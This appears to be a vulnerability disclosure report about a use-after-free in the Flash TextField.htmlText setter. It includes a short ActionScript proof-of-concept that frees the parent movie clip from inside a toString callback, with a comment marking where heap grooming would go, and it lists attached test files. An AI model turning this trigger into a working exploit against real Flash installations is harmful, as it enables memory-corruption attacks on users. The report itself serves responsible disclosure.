There is a use-after-free in the TextField.htmlText setter. If the htmlText the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.htmlText = {toString : func};

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "<b>hello</b>";
	
	}

A sample swf and fla are attached.


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
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tabIndex.fla 283 KB Download

tabIndex.swf 324 KB Download